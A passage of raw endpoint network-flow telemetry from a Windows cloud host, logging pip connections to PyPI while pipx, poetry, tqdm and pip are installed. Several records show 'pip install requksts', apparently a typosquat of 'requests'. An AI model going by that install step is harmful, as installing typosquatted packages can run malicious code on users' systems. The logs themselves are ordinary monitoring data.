pppath="C:\Users\Administrator\pipx\venvs\tqdm\Scripts\python.exe" pparg="-m pip --no-input install tqdm" aliul="''" pil="12288" ppil="12288" fsg="0" puid="CA504E66833E83B5874E3E5183313F72"
Jul  5 12:09:50 127.0.0.1 Jul  5 12:09:50 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59203" da="199.232.96.223" dp="443" fd="1" fss="1751717377" fst="Sat Jul  5 12:09:37 2025" fes="1751717377" fet="Sat Jul  5 12:09:37 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="files.pythonhosted.org" iid="8" mnl="''" mhl="''" fsms="1751717377417" fems="1751717377417" pid="9652" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg="-m pip --no-input install tqdm" ppid="5060" pppath="C:\Users\Administrator\pipx\venvs\tqdm\Scripts\python.exe" pparg="-m pip --no-input install tqdm" aliul="''" pil="12288" ppil="12288" fsg="1" puid="CA504E66833E83B5874E3E5183313F72"
Jul  5 12:09:49 127.0.0.1 Jul  5 12:09:49 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59202" da="151.101.0.223" dp="443" fd="1" fss="1751717377" fst="Sat Jul  5 12:09:37 2025" fes="1751717377" fet="Sat Jul  5 12:09:37 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="pypi.org" iid="8" mnl="''" mhl="''" fsms="1751717377296" fems="1751717377296" pid="9652" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg="-m pip --no-input install tqdm" ppid="5060" pppath="C:\Users\Administrator\pipx\venvs\tqdm\Scripts\python.exe" pparg="-m pip --no-input install tqdm" aliul="''" pil="12288" ppil="12288" fsg="1" puid="CA504E66833E83B5874E3E5183313F72"
Jul  5 11:41:47 127.0.0.1 Jul  5 11:41:47 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59052" da="151.101.128.223" dp="443" fd="1" fss="1751715578" fst="Sat Jul  5 11:39:38 2025" fes="1751715683" fet="Sat Jul  5 11:41:23 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="1957619" obc="23153" ds="us-east-2.compute.internal" dh="pypi.org" iid="8" mnl="''" mhl="''" fsms="1751715578769" fems="1751715683203" pid="3428" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg="-m pip --no-input install poetry" ppid="11480" pppath="C:\Users\Administrator\pipx\venvs\poetry\Scripts\python.exe" pparg="-m pip --no-input install poetry" aliul="''" pil="12288" ppil="12288" fsg="0" puid="57252F4B6B9B80A38B6D226D06F5B973"
Jul  5 11:41:41 127.0.0.1 Jul  5 11:41:41 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59053" da="146.75.76.223" dp="443" fd="1" fss="1751715578" fst="Sat Jul  5 11:39:38 2025" fes="1751715683" fet="Sat Jul  5 11:41:23 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="11594137" obc="35639" ds="us-east-2.compute.internal" dh="files.pythonhosted.org" iid="8" mnl="''" mhl="''" fsms="1751715578912" fems="1751715683203" pid="3428" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg="-m pip --no-input install poetry" ppid="11480" pppath="C:\Users\Administrator\pipx\venvs\poetry\Scripts\python.exe" pparg="-m pip --no-input install poetry" aliul="''" pil="12288" ppil="12288" fsg="0" puid="57252F4B6B9B80A38B6D226D06F5B973"
Jul  5 11:41:01 127.0.0.1 Jul  5 11:41:01 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59053" da="146.75.76.223" dp="443" fd="1" fss="1751715578" fst="Sat Jul  5 11:39:38 2025" fes="1751715641" fet="Sat Jul  5 11:40:41 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="11508055" obc="34610" ds="us-east-2.compute.internal" dh="files.pythonhosted.org" iid="8" mnl="''" mhl="''" fsms="1751715578912" fems="1751715641256" pid="3428" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg="-m pip --no-input install poetry" ppid="11480" pppath="C:\Users\Administrator\pipx\venvs\poetry\Scripts\python.exe" pparg="-m pip --no-input install poetry" aliul="''" pil="12288" ppil="12288" fsg="2" puid="57252F4B6B9B80A38B6D226D06F5B973"
Jul  5 11:40:03 127.0.0.1 Jul  5 11:40:03 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59053" da="146.75.76.223" dp="443" fd="1" fss="1751715578" fst="Sat Jul  5 11:39:38 2025" fes="1751715578" fet="Sat Jul  5 11:39:38 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="files.pythonhosted.org" iid="8" mnl="''" mhl="''" fsms="1751715578912" fems="1751715578912" pid="3428" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg="-m pip --no-input install poetry" ppid="11480" pppath="C:\Users\Administrator\pipx\venvs\poetry\Scripts\python.exe" pparg="-m pip --no-input install poetry" aliul="''" pil="12288" ppil="12288" fsg="1" puid="57252F4B6B9B80A38B6D226D06F5B973"
Jul  5 11:40:03 127.0.0.1 Jul  5 11:40:03 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59052" da="151.101.128.223" dp="443" fd="1" fss="1751715578" fst="Sat Jul  5 11:39:38 2025" fes="1751715578" fet="Sat Jul  5 11:39:38 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="pypi.org" iid="8" mnl="''" mhl="''" fsms="1751715578769" fems="1751715578769" pid="3428" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg="-m pip --no-input install poetry" ppid="11480" pppath="C:\Users\Administrator\pipx\venvs\poetry\Scripts\python.exe" pparg="-m pip --no-input install poetry" aliul="''" pil="12288" ppil="12288" fsg="1" puid="57252F4B6B9B80A38B6D226D06F5B973"
Jul  5 11:39:54 127.0.0.1 Jul  5 11:39:54 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59050" da="151.101.128.223" dp="443" fd="1" fss="1751715562" fst="Sat Jul  5 11:39:22 2025" fes="1751715574" fet="Sat Jul  5 11:39:34 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="4746" obc="1145" ds="us-east-2.compute.internal" dh="pypi.org" iid="8" mnl="''" mhl="''" fsms="1751715562413" fems="1751715574662" pid="6720" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg="-m pip --no-input --disable-pip-version-check install --force-reinstall -q --upgrade \"pip >= 23.1\"" ppid="7396" pppath="C:\Users\Administrator\pipx\shared\Scripts\python.exe" pparg="-m pip --no-input --disable-pip-version-check install --force-reinstall -q --upgrade \"pip >= 23.1\"" aliul="''" pil="12288" ppil="12288" fsg="0" puid="22AB2580B49281C89D59ABD3F166E813"
Jul  5 11:39:38 127.0.0.1 Jul  5 11:39:38 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59050" da="151.101.128.223" dp="443" fd="1" fss="1751715562" fst="Sat Jul  5 11:39:22 2025" fes="1751715562" fet="Sat Jul  5 11:39:22 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="pypi.org" iid="8" mnl="''" mhl="''" fsms="1751715562413" fems="1751715562413" pid="6720" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg="-m pip --no-input --disable-pip-version-check install --force-reinstall -q --upgrade \"pip >= 23.1\"" ppid="7396" pppath="C:\Users\Administrator\pipx\shared\Scripts\python.exe" pparg="-m pip --no-input --disable-pip-version-check install --force-reinstall -q --upgrade \"pip >= 23.1\"" aliul="''" pil="12288" ppil="12288" fsg="1" puid="22AB2580B49281C89D59ABD3F166E813"
Jul  5 11:38:06 127.0.0.1 Jul  5 11:38:06 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59040" da="146.75.76.223" dp="443" fd="1" fss="1751715463" fst="Sat Jul  5 11:37:43 2025" fes="1751715470" fet="Sat Jul  5 11:37:50 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="439718" obc="7750" ds="us-east-2.compute.internal" dh="files.pythonhosted.org" iid="8" mnl="''" mhl="''" fsms="1751715463777" fems="1751715470938" pid="4196" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" -m pip install --user pipx" ppid="2264" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="1DA29CDAC5198026B60BC21A0B00CCB5"
Jul  5 11:38:01 127.0.0.1 Jul  5 11:38:01 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59040" da="146.75.76.223" dp="443" fd="1" fss="1751715463" fst="Sat Jul  5 11:37:43 2025" fes="1751715463" fet="Sat Jul  5 11:37:43 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="files.pythonhosted.org" iid="8" mnl="''" mhl="''" fsms="1751715463777" fems="1751715463777" pid="4196" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" -m pip install --user pipx" ppid="2264" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="1DA29CDAC5198026B60BC21A0B00CCB5"
Jul  5 11:38:11 127.0.0.1 Jul  5 11:38:11 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59039" da="151.101.128.223" dp="443" fd="1" fss="1751715462" fst="Sat Jul  5 11:37:42 2025" fes="1751715470" fet="Sat Jul  5 11:37:50 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="116291" obc="4278" ds="us-east-2.compute.internal" dh="pypi.org" iid="8" mnl="''" mhl="''" fsms="1751715462979" fems="1751715470938" pid="4196" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" -m pip install --user pipx" ppid="2264" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="1DA29CDAC5198026B60BC21A0B00CCB5"
Jul  5 11:37:56 127.0.0.1 Jul  5 11:37:56 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59039" da="151.101.128.223" dp="443" fd="1" fss="1751715462" fst="Sat Jul  5 11:37:42 2025" fes="1751715462" fet="Sat Jul  5 11:37:42 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="pypi.org" iid="8" mnl="''" mhl="''" fsms="1751715462979" fems="1751715462979" pid="4196" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" -m pip install --user pipx" ppid="2264" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="1DA29CDAC5198026B60BC21A0B00CCB5"
Jul  4 22:39:58 127.0.0.1 Jul  4 22:39:58 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="55735" da="146.75.76.223" dp="443" fd="1" fss="1751668765" fst="Fri Jul  4 22:39:25 2025" fes="1751668788" fet="Fri Jul  4 22:39:48 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="1837597" obc="1596" ds="us-east-2.compute.internal" dh="files.pythonhosted.org" iid="8" mnl="''" mhl="''" fsms="1751668765053" fems="1751668788188" pid="1672" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" -m pip install --upgrade pip" ppid="2264" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="71F9CAEF567B8E89872502E60D2DA565"
Jul  4 22:39:43 127.0.0.1 Jul  4 22:39:43 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="55735" da="146.75.76.223" dp="443" fd="1" fss="1751668765" fst="Fri Jul  4 22:39:25 2025" fes="1751668765" fet="Fri Jul  4 22:39:25 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="files.pythonhosted.org" iid="8" mnl="''" mhl="''" fsms="1751668765053" fems="1751668765053" pid="1672" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" -m pip install --upgrade pip" ppid="2264" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="71F9CAEF567B8E89872502E60D2DA565"
Jul  4 22:40:04 127.0.0.1 Jul  4 22:40:04 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="55734" da="151.101.0.223" dp="443" fd="1" fss="1751668764" fst="Fri Jul  4 22:39:24 2025" fes="1751668788" fet="Fri Jul  4 22:39:48 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="4746" obc="1145" ds="us-east-2.compute.internal" dh="pypi.org" iid="8" mnl="''" mhl="''" fsms="1751668764935" fems="1751668788188" pid="1672" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" -m pip install --upgrade pip" ppid="2264" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="71F9CAEF567B8E89872502E60D2DA565"
Jul  4 22:39:38 127.0.0.1 Jul  4 22:39:38 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="55734" da="151.101.0.223" dp="443" fd="1" fss="1751668764" fst="Fri Jul  4 22:39:24 2025" fes="1751668764" fet="Fri Jul  4 22:39:24 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="pypi.org" iid="8" mnl="''" mhl="''" fsms="1751668764935" fems="1751668764935" pid="1672" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" -m pip install --upgrade pip" ppid="2264" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="71F9CAEF567B8E89872502E60D2DA565"
Jul  4 22:38:22 127.0.0.1 Jul  4 22:38:22 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="55728" da="151.101.0.223" dp="443" fd="1" fss="1751668697" fst="Fri Jul  4 22:38:17 2025" fes="1751668697" fet="Fri Jul  4 22:38:17 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="pip.exe" pph="795AE1E07816D6C22AEA394023AF12EF77E056A7F8E28496DFB4F1DECEA04412" ibc="41793" obc="1104" ds="us-east-2.compute.internal" dh="pypi.org" iid="8" mnl="''" mhl="''" fsms="1751668697456" fems="1751668697604" pid="248" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" \"C:\Users\Administrator\AppData\Local\Programs\Python\Python313\Scripts\pip.exe\" install requksts" ppid="7872" pppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\Scripts\pip.exe" pparg=" install requksts" aliul="''" pil="12288" ppil="12288" fsg="0" puid="465443D0B7158CFC9FB54B87FE394AB8"
Jul  4 22:38:17 127.0.0.1 Jul  4 22:38:17 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="55728" da="151.101.0.223" dp="443" fd="1" fss="1751668697" fst="Fri Jul  4 22:38:17 2025" fes="1751668697" fet="Fri Jul  4 22:38:17 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="pip.exe" pph="795AE1E07816D6C22AEA394023AF12EF77E056A7F8E28496DFB4F1DECEA04412" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="pypi.org" iid="8" mnl="''" mhl="''" fsms="1751668697456" fems="1751668697456" pid="248" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" \"C:\Users\Administrator\AppData\Local\Programs\Python\Python313\Scripts\pip.exe\" install requksts" ppid="7872" pppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\Scripts\pip.exe" pparg=" install requksts" aliul="''" pil="12288" ppil="12288" fsg="1" puid="465443D0B7158CFC9FB54B87FE394AB8"
Jul  4 22:38:27 127.0.0.1 Jul  4 22:38:27 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="55727" da="199.232.96.223" dp="443" fd="1" fss="1751668690" fst="Fri Jul  4 22:38:10 2025" fes="1751668697" fet="Fri Jul  4 22:38:17 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="pip.exe" pph="795AE1E07816D6C22AEA394023AF12EF77E056A7F8E28496DFB4F1DECEA04412" ibc="605889" obc="5730" ds="us-east-2.compute.internal" dh="files.pythonhosted.org" iid="8" mnl="''" mhl="''" fsms="1751668690208" fems="1751668697604" pid="248" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" \"C:\Users\Administrator\AppData\Local\Programs\Python\Python313\Scripts\pip.exe\" install requksts" ppid="7872" pppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\Scripts\pip.exe" pparg=" install requksts" aliul="''" pil="12288" ppil="12288" fsg="0" puid="465443D0B7158CFC9FB54B87FE394AB8"
Jul  4 22:38:17 127.0.0.1 Jul  4 22:38:17 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="55727" da="199.232.96.223" dp="443" fd="1" fss="1751668690" fst="Fri Jul  4 22:38:10 2025" fes="1751668690" fet="Fri Jul  4 22:38:10 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="pip.exe" pph="795AE1E07816D6C22AEA394023AF12EF77E056A7F8E28496DFB4F1DECEA04412" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="files.pythonhosted.org" iid="8" mnl="''" mhl="''" fsms="1751668690208" fems="1751668690208" pid="248" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" 